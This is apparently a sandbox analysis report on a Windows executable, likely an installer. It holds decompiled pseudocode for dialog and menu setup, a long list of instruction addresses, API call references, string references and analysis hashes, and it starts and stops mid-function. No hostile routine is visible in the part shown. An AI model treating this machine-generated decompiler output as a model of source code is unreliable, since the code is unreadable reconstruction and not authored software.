				E004146C4( *((intOrPtr*)( *_t1456 + 0x20c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x20c)) + 0x28)) + E0042E6C8(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E00460A5C( *((intOrPtr*)( *_t1456 + 0x2e0)),  *((intOrPtr*)( *_t1456 + 0x2e8)), _t1912));
				_t1681 =  *0x48dbc0; // 0x2178368
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2d8)), _t1456, _t1681, _t1849, E0042E6C8(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E00460A5C( *((intOrPtr*)( *_t1456 + 0x2e0)),  *((intOrPtr*)( *_t1456 + 0x2e8)), _t1912));
				_v60 = 0x14;
				_t977 = E00488490( *_t1456, _t1456, 0,  &_v60, _t1849, E0042E6C8(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E00460A5C( *((intOrPtr*)( *_t1456 + 0x2e0)),  *((intOrPtr*)( *_t1456 + 0x2e8)), _t1912), _t1912);
				_t1850 = _t977;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)))) + 0x4c))( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)) + 0x30)), _t977);
				E004146E4( *((intOrPtr*)( *_t1456 + 0x20c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)) + 0x24)) - E0048872C( *_t1456, 0xa) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x20c)) + 0x24)));
				_t1692 =  *0x48dd18; // 0x2179b24
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x210)), _t1456, _t1692, _t977,  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)))));
				_t1002 =  *0x48de9c; // 0x217b33c
				E00460724(0x90,  &_v48);
				E00462AF4( *_t1456, 9, _t1912, _v48, _t1002,  *((intOrPtr*)( *_t1456 + 0x1f0)));
				E00460724(0x91,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x29c)), _t1456, _v48, _t977,  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d8)))));
				E00460A8C(E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x29c)), _t1912),  *( *_t1456 + 0x2cc));
				E0042BC98( *( *_t1456 + 0x2cc), 0);
				 *((intOrPtr*)( *( *_t1456 + 0x2cc) + 0x154)) = E0048873C( *_t1456, 0x16);
				_t1913 =  *0x4ae180 & 0x00000010;
				E0044E694( *( *_t1456 + 0x2cc),  *( *_t1456 + 0x2cc) & 0xffffff00 | ( *0x4ae180 & 0x00000010) != 0x00000000);
				_t1030 =  *0x48de8c; // 0x217b2ac
				E00460724(0x79,  &_v48);
				E00462AF4( *_t1456, 0xa,  *0x4ae180 & 0x00000010, _v48, _t1030,  *((intOrPtr*)( *_t1456 + 0x1f4)));
				_t1039 =  *0x48de88; // 0x217b288
				E00460724(0x77,  &_v48);
				E00462AF4( *_t1456, 0xb,  *0x4ae180 & 0x00000010, _v48, _t1039,  *((intOrPtr*)( *_t1456 + 0x1f8)));
				_t1048 =  *0x48de7c; // 0x217b238
				E00460724(0x5b,  &_v48);
				E00462AF4( *_t1456, 0xc,  *0x4ae180 & 0x00000010, _v48, _t1048,  *((intOrPtr*)( *_t1456 + 0x1fc)));
				_t1057 =  *0x48de74; // 0x217b208
				_t1058 =  *0x48dccc; // 0x21795b4
				E00462AF4( *_t1456, 0xd,  *0x4ae180 & 0x00000010, _t1058, _t1057,  *((intOrPtr*)( *_t1456 + 0x200)));
				_t1711 =  *0x48dcc8; // 0x2179570
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x274)), _t1456, _t1711, _t977, _t1016);
				E00460A8C(E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x274)),  *0x4ae180 & 0x00000010),  *((intOrPtr*)( *_t1456 + 0x270)));
				E00462AF4( *_t1456, 0xe,  *0x4ae180 & 0x00000010, 0, 0, 0);
				_t1496 =  *0x4ae1bc; // 0xc
				_t1715 =  *0x4ae194; // 0x21754f8
				E0048811C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c0)) + 0x44)), _t1456, _t1496, _t1715, _t977, _t1067, 0xc, 0);
				_t1716 =  *0x462940; // 0x1
				E0041A498( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c0)) + 0x44)), _t1716, _t1913);
				E00460724(0x4e,  &_v48);
				_push( &_v48);
				_pop(_t1085);
				E004036C4(_t1085, 0x46295c);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2c0)), _t1456, _v48, _t977, _t1067);
				E00460A5C(_t1496,  *((intOrPtr*)( *_t1456 + 0x2c0)), _t1913);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x254)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c0)) + 0x30)));
				_t1723 =  *0x48dea8; // 0x217b3a0
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x258)), _t1456, _t1723, _t977, _t1067);
				_t1724 =  *0x48dd1c; // 0x2179b54
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x25c)), _t1456, _t1724, _t1850, _t1067);
				 *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d0)) + 0x154)) = E0048873C( *_t1456, 0x16);
				E004035DC( &_v48, 0x462978);
				_t1729 =  *0x48db8c; // 0x0
				E004036C4( &_v48, _t1729);
				E004036C4( &_v48, 0x462978);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x280)), _t1456, _v48, _t1850, _t1067);
				if( *0x4ae20c != 0) {
					E0044FA68( *((intOrPtr*)( *_t1456 + 0x26c)), 1);
					E0044FB9C();
				}
				if( *0x4ae210 != 0) {
					E0044FA68( *((intOrPtr*)( *_t1456 + 0x234)), 1);
					E0044FB9C();
				}
				_t1916 =  *0x4ae214;
				if( *0x4ae214 != 0) {
					E0044FA68( *((intOrPtr*)( *_t1456 + 0x270)), 1);
					E0044FB9C();
				}
				_t1880 = GetSystemMenu(E004182A8( *_t1456), 0);
				AppendMenuA(_t1880, 0x800, 0, 0);
				_t1121 =  *0x48db70; // 0x2178120
				AppendMenuA(_t1880, 0, 0x270f, E00403880(_t1121));
				E00462BE8( *_t1456, _t1456, _t1496, _t1850, _t1880, _t1916); // executed
				_v28 = 0xffffffff;
				if(( *0x4ae180 & 0x00000001) != 0) {
					if( *((intOrPtr*)( *_t1456 + 0x30c)) != 0) {
						E00414BE0( *((intOrPtr*)( *_t1456 + 0x2ac)), _t1456,  *((intOrPtr*)( *_t1456 + 0x30c)), _t1850, _t1880);
						E00414BE0( *((intOrPtr*)( *_t1456 + 0x2b4)), _t1456,  *((intOrPtr*)( *_t1456 + 0x310)), _t1850, _t1880);
						E00414BE0( *((intOrPtr*)( *_t1456 + 0x2c8)), _t1456,  *((intOrPtr*)( *_t1456 + 0x314)), _t1850, _t1880);
					} else {
						_t1335 =  *0x4ae0b0; // 0x2174adc
						E00471AF8(_t1335, _t1496,  &_v48);
						E00414BE0( *((intOrPtr*)( *_t1456 + 0x2ac)), _t1456, _v48, _t1850, _t1880);
						_t1340 =  *0x4ae0b4; // 0x2174afc
						E00471AF8(_t1340, _t1496,  &_v48);
						E00414BE0( *((intOrPtr*)( *_t1456 + 0x2b4)), _t1456, _v48, _t1850, _t1880);
						_t1345 =  *0x4ae0b8; // 0x0
						E00471AF8(_t1345, _t1496,  &_v48);
						E00414BE0( *((intOrPtr*)( *_t1456 + 0x2c8)), _t1456, _v48, _t1850, _t1880);
					}
				}
				if(( *0x4ae17c & 0x00000004) == 0) {
					_t1732 =  *0x4ae01c; // 0x218b9dc
					E00414BE0( *((intOrPtr*)( *_t1456 + 0x208)), _t1456, _t1732, _t1850, _t1880);
				} else {
					_t1302 =  *0x4ae088; // 0x2174a74
					E00471AF8(_t1302, _t1496,  &_v48);
					E00403598( *_t1456 + 0x2f4, _t1456, _v48, _t1850, _t1880);
					_t1920 =  *0x4adfac;
					if( *0x4adfac == 0) {
						E004035DC( &_v24,  *((intOrPtr*)( *_t1456 + 0x300)));
						__eflags = _v24;
						if(_v24 == 0) {
							E004035DC( &_v24,  *((intOrPtr*)( *_t1456 + 0x2f4)));
						}
					} else {
						E004035DC( &_v24,  *0x4adfac);
					}
					E0042C81C(_v24,  &_v64);
					E0042CBC4(_v64, _t1496,  &_v48, _t1920);
					E004035DC( &_v24, _v48);
					E00414BE0( *((intOrPtr*)( *_t1456 + 0x208)), _t1456, _v24, _t1850, _t1880);
				}
				_t1129 =  *0x4ae1d0; // 0x2162a88
				if( *((intOrPtr*)(_t1129 + 8)) <= 0) {
					L58:
					 *((intOrPtr*)( *_t1456 + 0x338)) = 0;
					_t1734 = 0;
					 *( *_t1456 + 0x334) = 0;
					_t1132 =  *0x4ae1d4; // 0x2162a9c
					_t1134 =  *((intOrPtr*)(_t1132 + 8)) - 1;
					if(_t1134 < 0) {
						L63:
						E0042BA34( *((intOrPtr*)( *_t1456 + 0x278)));
						E0044E620( *((intOrPtr*)( *_t1456 + 0x278)), _t1734 & 0xffffff00 | ( *0x4ae17f & 0x00000002) != 0x00000000);
						_t1141 =  *0x4ae1d4; // 0x2162a9c
						_t1143 =  *((intOrPtr*)(_t1141 + 8)) - 1;
						if(_t1143 < 0) {
							L69:
							if( *((intOrPtr*)( *((intOrPtr*)( *0x4adfc4)) + 0x10))() == 0) {
								__eflags = _v28 - 0xffffffff;
								if(_v28 == 0xffffffff) {
									_t1146 =  *0x4ae1d0; // 0x2162a88
									__eflags =  *(_t1146 + 8);
									if( *(_t1146 + 8) > 0) {
										_t1213 =  *0x4ae1d0; // 0x2162a88
										_v32 = E0040B504(_t1213, 0);
										_t1496 = 0;
										__eflags = 0;
										E00463524( *_t1456, 0,  *_v32, _t1886);
									}
								} else {
									_t1218 =  *0x4ae1d0; // 0x2162a88
									_v32 = E0040B504(_t1218, _v28);
									_t1220 = _v32;
									__eflags =  *(_t1220 + 0x24) & 0x00000001;
									if(( *(_t1220 + 0x24) & 0x00000001) == 0) {
										_t1221 =  *0x4ae1d0; // 0x2162a88
										_v32 = E0040B504(_t1221, _v28);
										_t1496 = 0;
										E00463524( *_t1456, 0,  *_v32, _t1886);
									} else {
										_t1226 =  *0x4ae1d0; // 0x2162a88
										_v32 = E0040B504(_t1226, 0);
										E00463524( *_t1456, 0,  *_v32, _t1886);
										_t1496 =  *((intOrPtr*)( *_t1456 + 0x320));
										E0046349C( *_t1456,  *((intOrPtr*)( *_t1456 + 0x320)),  *((intOrPtr*)( *_t1456 + 0x31c)));
									}
								}
								L83:
								E00460E3C( *_t1456);
								E00460BA8( *_t1456, _t1456, _t1850, _t1880, _t1941, _t1953);
								if( *0x4ae253 == 0) {
									__eflags = 0;
									E00414B0C( *((intOrPtr*)( *_t1456 + 0x278)), _t1496, 0, _t1850);
								} else {
									_t1203 = E0042A108( *((intOrPtr*)( *_t1456 + 0x224)));
									_t1204 =  *0x4ae1d0; // 0x2162a88
									_v32 = E0040B504(_t1204, _t1203);
									if(( *(_v32 + 0x24) & 0x00000001) != 0 || ( *0x4ae17f & 0x00000001) != 0) {
										E00414B0C( *((intOrPtr*)( *_t1456 + 0x278)), _t1496, 1, _t1850);
									} else {
										E00414B0C( *((intOrPtr*)( *_t1456 + 0x278)), _t1496, 0, _t1850);
									}
								}
								E00414B0C( *((intOrPtr*)( *_t1456 + 0x27c)), _t1496,  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x278)) + 0x37)), _t1850);
								if( *0x4ae253 != 0) {
									 *((intOrPtr*)( *_t1456 + 0x330)) = E0042A108( *((intOrPtr*)( *_t1456 + 0x224)));
									_push(0);
									_t1496 = 0;
									E004636B4( *_t1456, _t1456, 0,  *((intOrPtr*)( *_t1456 + 0x32c)), _t1850, _t1880);
								}
								_t1159 =  *0x4ae08c; // 0x2174a98
								E00471AF8(_t1159, _t1496,  &_v48);
								E00403598( *_t1456 + 0x2f8, _t1456, _v48, _t1850, _t1880);
								if( *0x4adfb0 == 0 || ( *0x4ae17c & 0x00000010) != 0) {
									_t1164 =  *_t1456;
									__eflags =  *(_t1164 + 0x304);
									if( *(_t1164 + 0x304) == 0) {
										L96:
										E004035DC( &_v24,  *((intOrPtr*)( *_t1456 + 0x2f8)));
										goto L98;
									}
									E004037CC( *((intOrPtr*)( *_t1456 + 0x304)), "(Default)");
									if(__eflags != 0) {
										E004035DC( &_v24,  *((intOrPtr*)( *_t1456 + 0x304)));
										goto L98;
									}
									goto L96;
								} else {
									E004035DC( &_v24,  *0x4adfb0);
									L98:
									E00414BE0( *((intOrPtr*)( *_t1456 + 0x20c)), _t1456, _v24, _t1850, _t1880);
									if(( *0x4ae17c & 0x00000020) == 0) {
										__eflags = 0;
										E00414B0C( *((intOrPtr*)( *_t1456 + 0x210)), _t1496, 0, _t1850);
									} else {
										if( *0x4adfbc != 0 ||  *((char*)( *_t1456 + 0x318)) != 0) {
											E0042B1AC(1);
										}
										E00414B0C( *((intOrPtr*)( *_t1456 + 0x210)), _t1496, 1, _t1850);
									}
									 *((char*)( *_t1456 + 0x2fc)) = 1;
									_pop(_t1745);
									 *[fs:eax] = _t1745;
									_push(E00462927);
									E00403548( &_v64);
									E00403548( &_v48);
									return E00403548( &_v24);
								}
							}
							_t1496 = 0;
							E0046349C( *_t1456, 0,  *0x4adfc4);
							if( *0x4ae253 == 0) {
								goto L83;
							}
							_t1237 =  *0x4ae1d0; // 0x2162a88
							_t1239 =  *((intOrPtr*)(_t1237 + 8)) - 1;
							if(_t1239 < 0) {
								goto L83;
							}
							_v44 = _t1239 + 1;
							_t1880 = 0;
							while(1) {
								_t1241 =  *0x4ae1d0; // 0x2162a88
								_v32 = E0040B504(_t1241, _t1880);
								_t1243 = _v32;
								_t1941 =  *(_t1243 + 0x24) & 0x00000001;
								if(( *(_t1243 + 0x24) & 0x00000001) != 0) {
									break;
								}
								_t1880 =  &(_t1880->i);
								_t499 =  &_v44;
								 *_t499 = _v44 - 1;
								__eflags =  *_t499;
								if( *_t499 != 0) {
									continue;
								}
								goto L83;
							}
							E0042A124( *((intOrPtr*)( *_t1456 + 0x224)), _t1880);
							goto L83;
						}
						_v44 = _t1143 + 1;
						_t1881 = 0;
						do {
							_t1248 =  *0x4ae1d4; // 0x2162a9c
							_t1850 = E0040B504(_t1248, _t1881);
							if(( *(_t1850 + 0x35) & 0x00000008) == 0) {
								 *(_t1850 + 0x35) & 0x00000001 =  *(_t1850 + 0x35) & 0x00000010;
								E00471AF8( *((intOrPtr*)(_t1850 + 4)), _t1496,  &_v48);
								_t1496 = 0;
								__eflags = 0;
								E0044C780( *((intOrPtr*)( *_t1456 + 0x278)), _v48, _t1850, ( *(_t1850 + 0x20) & 0xffffff00 | 0 != 0x00000000) ^ 0x00000001,  *(_t1850 + 0x20), ( *(_t1850 + 0x1c) & 0xffffff00 | 0 != 0x00000000) ^ 0x00000001, 0,  *(_t1850 + 0x1c));
							} else {
								E00471AF8( *((intOrPtr*)(_t1850 + 4)), _t1496,  &_v48);
								_t1496 = 0;
								E0044C850(0, _v48, _t1850, ( *(_t1850 + 0x1c) & 0xffffff00 | ( *(_t1850 + 0x35) & 0x00000001) != 0x00000000) ^ 0x00000001, 0,  *(_t1850 + 0x1c));
							}
							_t1881 = _t1881 + 1;
							_t488 =  &_v44;
							 *_t488 = _v44 - 1;
						} while ( *_t488 != 0);
						goto L69;
					}
					_v44 = _t1134 + 1;
					_t1882 = 0;
					do {
						_t1270 =  *0x4ae1d4; // 0x2162a9c
						_t1850 = E0040B504(_t1270, _t1882);
						_t443 =  *_t1456 + 0x334; // 0x334
						_t1734 = _t443;
						_t444 = _t1850 + 0x36; // 0x36
						if(E004300A4(_t444, _t443) > 0) {
							_t1275 =  *_t1456;
							 *((intOrPtr*)(_t1275 + 0x334)) =  *((intOrPtr*)(_t1850 + 0x36));
							_t1734 =  *(_t1850 + 0x3a);
							 *(_t1275 + 0x338) =  *(_t1850 + 0x3a);
						}
						_t1882 = _t1882 + 1;
						_t449 =  &_v44;
						 *_t449 = _v44 - 1;
					} while ( *_t449 != 0);
					goto L63;
				} else {
					E0042A0A0( *((intOrPtr*)( *_t1456 + 0x224)));
					_t1279 =  *0x4ae1d0; // 0x2162a88
					_t1281 =  *((intOrPtr*)(_t1279 + 8)) - 1;
					if(_t1281 < 0) {
						L55:
						if(_v28 == 0xffffffff) {
							__eflags = 0;
							E0042A124( *((intOrPtr*)( *_t1456 + 0x224)), 0);
						} else {
							E0042A124( *((intOrPtr*)( *_t1456 + 0x224)), _v28);
						}
						goto L58;
					}
					_v44 = _t1281 + 1;
					_t1883 = 0;
					do {
						_t1289 =  *0x4ae1d0; // 0x2162a88
						_v32 = E0040B504(_t1289, _t1883);
						E00471AF8( *((intOrPtr*)(_v32 + 4)), _t1496,  &_v48);
						_t1496 = _v32;
						_t1850 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0xfc))));
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0xfc)))) + 0x30))();
						if(E00406B20( *_v32,  *((intOrPtr*)( *_t1456 + 0x308))) == 0) {
							_v28 = _t1883;
						}
						_t1883 = _t1883 + 1;
						_t433 =  &_v44;
						 *_t433 = _v44 - 1;
					} while ( *_t433 != 0);
					goto L55;
				}
			}

0x00461280
0x00461280
0x00461280
0x00461280
0x00461281
0x00461283
0x00461286
0x00461287
0x00461288
0x0046128b
0x0046128e
0x00461291
0x00461296
0x00461298
0x0046129b
0x0046129b
0x004612a0
0x004612a3
0x004612a6
0x004612a9
0x004612b7
0x004612c1
0x004612d4
0x004612e8
0x004612fc
0x00461310
0x00461324
0x00461338
0x0046133e
0x00461353
0x00461357
0x0046135b
0x0046136e
0x0046137b
0x0046137e
0x00461380
0x00461382
0x00461382
0x0046138f
0x0046138f
0x00461394
0x0046139b
0x004613a0
0x004613a9
0x004613ad
0x004613ba
0x004613c4
0x004613d1
0x004613d4
0x004613d6
0x004613d8
0x004613d8
0x004613db
0x004613db
0x004613e5
0x004613e5
0x004613ec
0x004613f1
0x004613f8
0x0046140d
0x004613fa
0x00461404
0x00461404
0x00461421
0x00461427
0x0046142d
0x0046143d
0x00461443
0x00461453
0x00461459
0x00461465
0x00461476
0x00461479
0x00461481
0x0046148b
0x00461467
0x00461467
0x0046146f
0x0046146f
0x00461497
0x004614a0
0x004614aa
0x004614b5
0x004614bd
0x004614c6
0x004614d0
0x004614da
0x004614da
0x004614df
0x004614e3
0x004614e7
0x004614eb
0x004614ef
0x00461502
0x00461510
0x0046151d
0x0046152c
0x0046153b
0x00461542
0x00461549
0x00461558
0x0046155d
0x0046156c
0x00461571
0x0046157d
0x0046158a
0x00461590
0x004615a3
0x004615b2
0x004615c9
0x004615d6
0x004615dc
0x004615ef
0x004615fe
0x00461615
0x00461622
0x00461628
0x0046162d
0x0046163f
0x00461649
0x00461664
0x00461676
0x00461688
0x0046168e
0x004616a9
0x004616b3
0x004616c0
0x004616d0
0x004616df
0x004616ff
0x00461709
0x00461716
0x0046171e
0x00461724
0x00461734
0x00461742
0x00461748
0x0046175d
0x00461767
0x00461777
0x00461799
0x004617a6
0x004617ac
0x004617b9
0x004617bf
0x004617cd
0x004617d3
0x004617e8
0x004617f5
0x004617fb
0x00461808
0x0046180e
0x00461831
0x00461854
0x00461862
0x00461868
0x0046187d
0x0046188a
0x00461890
0x004618b2
0x004618c0
0x004618c6
0x004618ce
0x004618db
0x004618e8
0x004618ee
0x00461902
0x00461911
0x00461923
0x00461930
0x00461936
0x0046194a
0x00461959
0x0046195e
0x00461965
0x004619cb
0x004619d8
0x004619da
0x00461967
0x0046197c
0x00461989
0x0046198f
0x004619ba
0x004619ba
0x004619e8
0x004619f3
0x00461a0b
0x00461a15
0x00461a25
0x00461a31
0x00461a3a
0x00461a46
0x00461a4a
0x00461a5f
0x00461a66
0x00461a68
0x00461a75
0x00461a90
0x00461aa9
0x00461aab
0x00461aad
0x00461aaf
0x00461aaf
0x00461aba
0x00461ac5
0x00461ac5
0x00461acf
0x00461adf
0x00461b01
0x00461b09
0x00461b1e
0x00461b46
0x00461b69
0x00461b76
0x00461b7c
0x00461b81
0x00461b8c
0x00461b91
0x00461bcf
0x00461bfe
0x00461c08
0x00461c18
0x00461c35
0x00461c43
0x00461c4e
0x00461c66
0x00461c70
0x00461c80
0x00461c94
0x00461cab
0x00461cb8
0x00461cbc
0x00461cc6
0x00461cd6
0x00461ce5
0x00461cf1
0x00461cf3
0x00461cfc
0x00461d08
0x00461d20
0x00461d2d
0x00461d2d
0x00461cfc
0x00461d3b
0x00461d46
0x00461d5e
0x00461d68
0x00461d78
0x00461d84
0x00461da1
0x00461da5
0x00461dc1
0x00461dc3
0x00461dd0
0x00461deb
0x00461e04
0x00461e06
0x00461e08
0x00461e0a
0x00461e0a
0x00461e15
0x00461e20
0x00461e20
0x00461e2a
0x00461e3a
0x00461e64
0x00461e6c
0x00461e89
0x00461eb1
0x00461edc
0x00461ee9
0x00461eef
0x00461ef4
0x00461eff
0x00461f04
0x00461f42
0x00461f71
0x00461f7e
0x00461f84
0x00461f92
0x00461f9d
0x00461fb5
0x00461fbf
0x00461fcf
0x00461ff1
0x00462000
0x00462019
0x0046201f
0x00462031
0x0046203f
0x0046204a
0x00462062
0x00462070
0x0046207b
0x00462093
0x004620a1
0x004620ac
0x004620c4
0x004620d2
0x004620d8
0x004620ed
0x004620fa
0x00462100
0x00462122
0x0046213c
0x00462150
0x00462156
0x0046215c
0x0046216c
0x00462172
0x0046217c
0x00462184
0x0046218a
0x0046218b
0x0046219b
0x004621aa
0x004621cd
0x004621da
0x004621e0
0x004621ed
0x004621f3
0x0046220c
0x0046221a
0x00462222
0x00462228
0x00462235
0x00462245
0x00462251
0x0046225d
0x00462270
0x00462270
0x0046227c
0x00462288
0x0046229b
0x0046229b
0x004622a0
0x004622a7
0x004622b3
0x004622c6
0x004622c6
0x004622da
0x004622e6
0x004622eb
0x004622fe
0x00462305
0x0046230a
0x00462318
0x00462327
0x00462392
0x004623a7
0x004623bc
0x00462329
0x0046232c
0x00462331
0x00462341
0x00462349
0x0046234e
0x0046235e
0x00462366
0x0046236b
0x0046237b
0x0046237b
0x00462327
0x004623c8
0x00462464
0x0046246a
0x004623ce
0x004623d1
0x004623d6
0x004623e5
0x004623ea
0x004623f1
0x0046240e
0x00462413
0x00462417
0x00462424
0x00462424
0x004623f3
0x004623fc
0x004623fc
0x0046242f
0x0046243a
0x00462445
0x00462455
0x00462455
0x0046246f
0x00462478
0x0046251a
0x0046251e
0x00462526
0x00462528
0x0046252e
0x00462536
0x00462539
0x0046257d
0x00462585
0x0046259c
0x004625a1
0x004625a9
0x004625ac
0x00462642
0x0046264e
0x004626ba
0x004626be
0x0046272f
0x00462734
0x00462738
0x0046273c
0x00462746
0x0046274e
0x0046274e
0x00462752
0x00462752
0x004626c0
0x004626c3
0x004626cd
0x004626d0
0x004626d3
0x004626d7
0x00462712
0x0046271c
0x00462724
0x00462728
0x004626d9
0x004626db
0x004626e5
0x004626f1
0x004626f8
0x00462708
0x00462708
0x004626d7
0x00462757
0x00462759
0x00462760
0x0046276c
0x004627c6
0x004627c8
0x0046276e
0x00462776
0x0046277d
0x00462787
0x00462791
0x004627a6
0x004627ad
0x004627b7
0x004627b7
0x00462791
0x004627e0
0x004627ec
0x004627fd
0x00462803
0x0046280d
0x00462811
0x00462811
0x00462819
0x0046281e
0x0046282d
0x00462839
0x00462854
0x00462856
0x0046285d
0x00462873
0x0046287e
0x00000000
0x0046287e
0x0046286c
0x00462871
0x00462890
0x00000000
0x00462890
0x00000000
0x00462844
0x0046284d
0x00462895
0x004628a0
0x004628ac
0x004628ea
0x004628ec
0x004628ae
0x004628b5
0x004628cc
0x004628cc
0x004628db
0x004628db
0x004628f3
0x004628fc
0x004628ff
0x00462902
0x0046290a
0x00462912
0x0046291f
0x0046291f
0x00462839
0x00462650
0x0046265a
0x00462666
0x00000000
0x00000000
0x0046266c
0x00462674
0x00462677
0x00000000
0x00000000
0x0046267e
0x00462681
0x00462683
0x00462685
0x0046268f
0x00462692
0x00462695
0x00462699
0x00000000
0x00000000
0x004626af
0x004626b0
0x004626b0
0x004626b0
0x004626b3
0x00000000
0x00000000
0x00000000
0x004626b5
0x004626a5
0x00000000
0x004626a5
0x004625b3
0x004625b6
0x004625b8
0x004625ba
0x004625c4
0x004625ca
0x00462610
0x00462621
0x00462631
0x00462631
0x00462633
0x004625cc
0x004625e3
0x004625f3
0x004625f5
0x004625f5
0x00462638
0x00462639
0x00462639
0x00462639
0x00000000
0x004625b8
0x0046253c
0x0046253f
0x00462541
0x00462543
0x0046254d
0x00462551
0x00462551
0x00462557
0x00462561
0x00462563
0x00462568
0x0046256e
0x00462571
0x00462571
0x00462577
0x00462578
0x00462578
0x00462578
0x00000000
0x0046247e
0x00462486
0x0046248b
0x00462493
0x00462496
0x004624f3
0x004624f7
0x00462513
0x00462515
0x004624f9
0x00462504
0x00462504
0x00000000
0x004624f7
0x00462499
0x0046249c
0x0046249e
0x004624a0
0x004624aa
0x004624b6
0x004624cc
0x004624cf
0x004624d1
0x004624e8
0x004624ea
0x004624ea
0x004624ed
0x004624ee
0x004624ee
0x004624ee
0x00000000
0x0046249e

APIs

Part of subcall function 00488530: GetWindowRect.USER32 ref: 00488546

LoadBitmapA.USER32 ref: 0046164F

Part of subcall function 0041D778: GetObjectA.GDI32(?,00000018,?), ref: 0041D7A3

Part of subcall function 004610DC: SHGetFileInfo.SHELL32([rG,00000010,?,00000160,00001010), ref: 00461179
Part of subcall function 004610DC: ExtractIconA.SHELL32(00400000,00000000,?), ref: 0046119F
Part of subcall function 004610DC: SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 004611FB
Part of subcall function 004610DC: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00461221

Part of subcall function 00460A8C: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00461704,00000000,00000000,00000000,00400000,STOPIMAGE,0000000C,00000000), ref: 00460AA4

Part of subcall function 0048873C: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 00488746

Part of subcall function 00488490: 740BAC50.USER32(00000000,?,?,?), ref: 004884B0
Part of subcall function 00488490: SelectObject.GDI32(?,00000000), ref: 004884D3
Part of subcall function 00488490: 740BB380.USER32(00000000,?,00488523,0048851C,?,00000000,?,?,?), ref: 00488516

Part of subcall function 0048872C: MulDiv.KERNEL32(0000004B,?,00000006), ref: 00488736

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,021795B4,0217B208,?,?,0217B238,?,?,0217B288,?), ref: 004622D5
AppendMenuA.USER32 ref: 004622E6
AppendMenuA.USER32 ref: 004622FE

Part of subcall function 0042A124: SendMessageA.USER32 ref: 0042A13A

Strings

[rG, xrefs: 00461549, 0046155D
(Default), xrefs: 00462867
, xrefs: 00461711
STOPIMAGE, xrefs: 00461644

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Menu$AppendExtractFileIconInfoObject$B380BitmapCallbackDispatcherLoadMessageRectSelectSendSystemUserWindow
String ID: $(Default)$STOPIMAGE$[rG
API String ID: 3668695379-3431441485
Opcode ID: 982b526855ebd0df1b8752aac8a3729627e6a5dcf2e6983e687b878e04c3e5a3
Instruction ID: d5e5c569bf6f5c9efe25e75cdb34261cfe5831a07cd567faab00c28eae44b740
Opcode Fuzzy Hash: 982b526855ebd0df1b8752aac8a3729627e6a5dcf2e6983e687b878e04c3e5a3
Instruction Fuzzy Hash: D1F2C5786005118FCB00EB69C5D9F9A73F1BF8A304F1581A6E9049B36AD778EC46CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004132E1 Relevance: 9.6, APIs: 6, Instructions: 586
COMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E004132E1(void* __eax, signed char __ebx, void* __ecx, signed int __edx, void* __edi, signed int __esi, void* __fp0, void* _a1, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, struct HWND__* _a20, intOrPtr _a64, signed int _a65) {
				intOrPtr _v4;
				intOrPtr* _t361;
				intOrPtr* _t362;
				void* _t364;
